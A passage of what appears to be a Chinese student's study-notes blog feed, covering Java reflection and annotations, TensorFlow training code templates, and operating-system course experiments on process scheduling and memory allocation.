	&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;String&lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt; args&lt;span style=&#34;color:#f92672&#34;&gt;){&lt;/span&gt;
    Person person1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Person&lt;span style=&#34;color:#f92672&#34;&gt;();&lt;/span&gt;
    &lt;span style=&#34;color:#75715e&#34;&gt;//如何获取类：用反射
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;//1. 直接用Class.forName()
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    Class clazz &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Class&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;forName&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;().&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getClass&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;();&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;//
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;//2，通过已有对象
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    Class claxx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; person1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getClass&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;();&lt;/span&gt;
    &lt;span style=&#34;color:#75715e&#34;&gt;//3，通过类
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    Class claxx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Person&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getClass&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;();&lt;/span&gt;
  &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;
	
  &lt;span style=&#34;color:#75715e&#34;&gt;//能不能在方法中使用类的定义？，如：f(new Person())
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Object o&lt;span style=&#34;color:#f92672&#34;&gt;){&lt;/span&gt;
    

  &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;
  
&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;###&lt;strong&gt;Annotation，注解&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//示例：@Commponent·
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;@Target&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;({&lt;/span&gt;ElementType&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;TYPE&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;})&lt;/span&gt;
&lt;span style=&#34;color:#a6e22e&#34;&gt;@Retention&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RetentionPolicy&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;RUNTIME&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;span style=&#34;color:#a6e22e&#34;&gt;@Documented&lt;/span&gt;
&lt;span style=&#34;color:#a6e22e&#34;&gt;@Indexed&lt;/span&gt;
&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;@interface&lt;/span&gt; Component &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
    String &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;default&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;;&lt;/span&gt;
&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;

&lt;span style=&#34;color:#75715e&#34;&gt;//其中：
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;@Target&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;({&lt;/span&gt;ElementType&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;TYPE&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;})&lt;/span&gt;
&lt;span style=&#34;color:#a6e22e&#34;&gt;@Retention&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RetentionPolicy&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;RUNTIME&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;//希望把下面的注解保持到什么时候，给编译器看的
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//SOURCE表示这个Annotation类型的信息只会保留在源码里，源码经过编译之后，Annotation的数据就会消失，并不会保留在编译好的.class文件里；
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//CLASS表示这个Annotation类型的信息在源码保留，在.class文件也保留，但不会把这些信息加载到虚拟机（JVM）中，如果不设置，系统默认值是CLASS；
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//RUNTIME表示在源码，编译后的.class都保存信息，在执行的时候也会把这些信息加载到JVM中
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  
&lt;span style=&#34;color:#a6e22e&#34;&gt;@Documented&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;//跟文档生成有关系
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;第三周&#34;&gt;第三周&lt;/h1&gt;
&lt;h2 id=&#34;老师笔记&#34;&gt;老师笔记&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://thoughts.teambition.com/share/5f5dd6455e3f1f001682c1b4#5f5dc556db4eae9322a8be2e&#34;&gt;https://thoughts.teambition.com/share/5f5dd6455e3f1f001682c1b4#5f5dc556db4eae9322a8be2e&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;java垃圾回收&#34;&gt;Java垃圾回收&lt;/h2&gt;
&lt;p&gt;参考资料：https://www.cnblogs.com/sunniest/p/4575144.html&lt;/p&gt;
&lt;p&gt;内存泄露是指该内存空间使用完毕之后未回收，在不涉及复杂数据结构的一般情况下，Java 的内存泄露表现为一个内存对象的生命周期超出了程序需要它的时间长度，我们有时也将其称为“对象游离”。&lt;/p&gt;
&lt;p&gt;1，引用计数法&lt;/p&gt;
&lt;p&gt;2，tracing算法或mark and sweep算法&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tensorflow八股笔记</title>
      <link>https://weivwang.github.io/studynotes/tensorflow/</link>
      <pubDate>Wed, 07 Jul 2021 20:29:18 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/tensorflow/</guid>
      <description>&lt;p&gt;搭建模块化的神经网路八股&lt;/p&gt;
&lt;p&gt;前向传播就是搭建网络，设计网络结构（forward.py)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;forward&lt;/span&gt;(x,regularizer):
	w&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
	b&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
	y&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
	&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; y

&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_weigth&lt;/span&gt;(shape,regularizer):
  w&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;Variable()
  &lt;span style=&#34;color:#75715e&#34;&gt;#把每一个w的正则化损失加到总损失losses中&lt;/span&gt;
  tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add_to_collection(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;losses&amp;#39;&lt;/span&gt;,tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;contrib&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;layers&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;l2_regularizer(regularizer)(w))
  retrun w
  
&lt;span style=&#34;color:#75715e&#34;&gt;#b的形状=某层中b的个数&lt;/span&gt;
&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_bias&lt;/span&gt;(shape):
  b&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;Variable()
  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;反向传播就是训练网络，优化网络参数(backward.py)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;backward&lt;/span&gt;():
  x&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;placeholder(  )
  y_&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;placeholder(  ) &lt;span style=&#34;color:#75715e&#34;&gt;#注意下划线&lt;/span&gt;
  y&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;forward&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;forward(x,REGULARIZER)
  global_step&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;Variable(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,trainable&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;)
  &lt;span style=&#34;color:#75715e&#34;&gt;#损失函数&lt;/span&gt;
  loss&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  loss可以是：
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  y与y_的差距(loss_mse) = tf.reduce_mean(tf.square(y-y_)
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  ce = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=y,labels=tf.argmax(y_,1))
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  cem = tf.reduce_mean(ce)
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  加入正则化后：
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  loss=y与y_的差距 + tf.add_n(tf.get_collection(&amp;#34;losses&amp;#34;))
&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
  &lt;span style=&#34;color:#75715e&#34;&gt;#使用指数衰减学习率，用以下代码：&lt;/span&gt;
  learning rate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;train&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;exponential_decay(
  	LEARNING_RATE_BASE,
  	global_step,
  	数据集总样本数&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;BATCH_SIZE,
  	LEARNING_RATE_DECAY,
  	staircase&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;
  	)
  train_step &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;train&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;GradientDescentOptimizer(learning_rate)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;minimize(loss,global_step&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;global_step)
  
  &lt;span style=&#34;color:#75715e&#34;&gt;#滑动平均&lt;/span&gt;
  ema &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;train&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ExponentialMovingAverage(MOVING_AVERAGE_DECAY,global_step)
  ema_op &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ema&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;apply(tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;trainable_variables())
  &lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;control_dependencies([train_step,ema_op]):
  	train_op &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;no_op(name &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;train&amp;#39;&lt;/span&gt;)
    
  &lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;compat&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;v1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;Session &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; sess:
    init_op&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;tf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;global_variables_initializer()
    sess&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;run(init_op)
    
    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(STEPS):
      sess&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;run(train_step,feed_dict&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;{x: ,y_: })
      &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; 轮数 &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:
        print()
   
&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
  backward()

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Operating_system_experiment</title>
      <link>https://weivwang.github.io/studynotes/operating_system_experiment/</link>
      <pubDate>Thu, 27 May 2021 12:33:50 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/operating_system_experiment/</guid>
      <description>&lt;h1 id=&#34;operation-system-experiment&#34;&gt;Operation-System-Experiment&lt;/h1&gt;
&lt;p&gt;武汉大学软件工程操作系统课程设计&lt;/p&gt;
&lt;p&gt;主要是使用高级语言模拟操作系统管理的一些算法，整体难度不大，甚至感觉像是在做数据结构的作业。&lt;/p&gt;
&lt;p&gt;第一次实验课写了两个实验，分别是&lt;/p&gt;
&lt;p&gt;1，模拟处理器调度算法中的按优先数调度算法&lt;/p&gt;
&lt;p&gt;2，模拟可变分区管理方式下采用首次适应算法实现主存分配和回收&lt;/p&gt;
&lt;h3 id=&#34;os_exp1&#34;&gt;OS_exp1&lt;/h3&gt;
&lt;p&gt;实验要求如下：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(1)假定系统有5个进程，每个进程用一个PCB来代表。PCB的结构为：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·进程名——如P1~P5。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·指针——按优先数的大小把5个进程连成队列，用指针指出下一个进程PCB的首地址。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·要求运行时间——假设进程需要运行的单位时间数。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·优先数——赋予进程的优先数，调度时总是选取优先数大的进程先执行。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·状态——假设两种状态：就绪和结束，用R表示就绪，用E表示结束。初始状态都为就绪状态。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(2)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*开始运行之前，为每个进程确定它的“优先数”和“要求运行时间”。通过键盘输入这些参数。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(3)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*处理器总是选择队首进程运行。采用动态改变优先数的办法，进程每运行1次，优先数减1，要求运行时间减1。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(4)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*进程运行一次后，若要求运行时间不等于0，则将它加入就绪队列，否则，将状态改为“结束”，退出就绪队列。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(5)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*若就绪队列为空，结束，否则转到*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*(3)*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*重复。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;用java写的，核心算法一个排序&lt;/p&gt;
&lt;p&gt;每次执行让进程优先数和运行时间-1，再重新排序，执行优先数最大的进程。&lt;/p&gt;
&lt;p&gt;直到所有进程要求运行时间全为0&lt;/p&gt;
&lt;p&gt;写的可能不是很规范，建了一个OperationSystem类，在其中定义了一些静态方法，对PCB类进行操作。&lt;/p&gt;
&lt;p&gt;运行效果如下：&lt;/p&gt;
&lt;p&gt;模拟设置了五个线程，分别让用户输入线程优先数&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/05/15/lhET4SIuYMHaUZg.png&#34; alt=&#34;lhET4SIuYMHaUZg&#34;&gt;&lt;/p&gt;
&lt;p&gt;输入完成后会自动输出表格显示信息，并将第一次按优先数进行排序的表显示出来&lt;/p&gt;
&lt;p&gt;然后依次执行，每执行会本次执行的进程的进程名，并将新的表格输出。&lt;/p&gt;
&lt;p&gt;输入完成后初始表和排序表：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/05/15/oPXN45gmZVkeqt7.png&#34; alt=&#34;oPXN45gmZVkeqt7&#34;&gt;&lt;/p&gt;
&lt;p&gt;运行过程：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/05/15/v5NEY7n28oRerCA.png&#34; alt=&#34;v5NEY7n28oRerCA&#34;&gt;&lt;/p&gt;
&lt;p&gt;中间过程还是比较长的，最后所有要求运行时间全0，退出：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/05/15/Rfd4baMXTtp2UcS.png&#34; alt=&#34;Rfd4baMXTtp2UcS&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;os_exp2&#34;&gt;OS_exp2&lt;/h3&gt;
&lt;p&gt;实验要求：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(1)&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*可变分区方式是按作业需要的主存空间大小来分割分区的。当要装入一个作业时，根据作业需要的主存容量查看是否有足够的空闲空间，若有，则按需分配，否则，作业无法装入。假定内存大小为128K，空闲区说明表格式为：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·分区号——表示是第几个空闲分区；*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·起始地址——指出空闲区的起始地址；*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*·长度——一个连续空闲区的长度；*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(2)&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*采用首次适应算法分配回收内存空间。运行时，输入一系列分配请求和回收请求。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*要求能接受来自键盘的空间申请及释放请求，能显示*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*分区分配及回收后的内存布局情况。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;分配很容易，就是按顺序找到第一个空间大于申请空间的分区，然后分配给他&lt;/p&gt;
&lt;p&gt;回收算法如下需要考虑几种情况：&lt;/p&gt;
&lt;p&gt;1，回收分区起始地址和空闲分区相邻，但和后面空闲分区不相邻，则将回收分区和前面相邻的合并，起始地址为前面空闲分区起始地址&lt;/p&gt;
&lt;p&gt;2，回收分区起始地址和前面空闲分区不相邻，和后面分区相邻，则与后面分区合并，起始地址为回收分区起始地址&lt;/p&gt;
&lt;p&gt;3，回收分区和前，后空闲分区都不相邻，则新建一个表项&lt;/p&gt;
&lt;p&gt;4，回收分区和前后空闲分区都相邻，则将3块分区合并，其实地址为第一块空闲分区起始地址&lt;/p&gt;
&lt;p&gt;运行截图如下：&lt;/p&gt;
&lt;p&gt;请求内存：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/05/15/r9EoUSB45NfusTI.png&#34; alt=&#34;r9EoUSB45NfusTI&#34;&gt;&lt;/p&gt;
&lt;p&gt;回收内存：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/05/15/Miw5zj6dRP1T7IK.png&#34; alt=&#34;Miw5zj6dRP1T7IK&#34;&gt;&lt;/p&gt;
&lt;p&gt;回收分区恰好与前后空闲分区相邻，所以1号分区，回收分区，和2号分区直接合并成一块分区，编号为1，其实地址为1号分区起始地址50，大小为20+30+10 = 60&lt;/p&gt;
&lt;h3 id=&#34;os_exp2_new&#34;&gt;OS_exp2_new&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*在分页管理方式下采用位示图来表示主存分配情况，实现主存分配和回收*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*[提示]：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(1)&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*假定系统的主存被分成大小相等的64个块，用0/1对应空闲/占用。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(2)&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*当要装入一个作业时，根据作业对主存的需求量，先查空闲块数是否能满足作业要求，若能满足，则查位示图，修改位示图和空闲块数。位置与块号的对应关系为：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*块号=*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*j*8+i*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*，其中*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*i*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*表示位，*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*j*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*表示字节。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*根据分配的块号建立页表。页表包括两项：页号和块号。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(3)&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*回收时，修改位示图和空闲块数。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*要求能接受来自键盘的空间申请及释放请求，能显示*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*位示图和空闲块数的变化，能显示进程的页表。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;由于实验三选用了可变分区管理方式，验收的时候实验二有点问题，所以实验二重新选了分页管理方式&lt;/p&gt;
&lt;p&gt;在验收的时候，老师专门要求提高鲁棒性，第一遍没有通过，,又修改了一部分才完成&lt;/p&gt;
&lt;p&gt;运行截图如下：&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;h3 id=&#34;os_exp3&#34;&gt;os_exp3&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*一、实习内容*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*模拟磁盘空闲空间的表示方法，以及模拟实现磁盘空间的分配和回收。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*二、实习目的*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
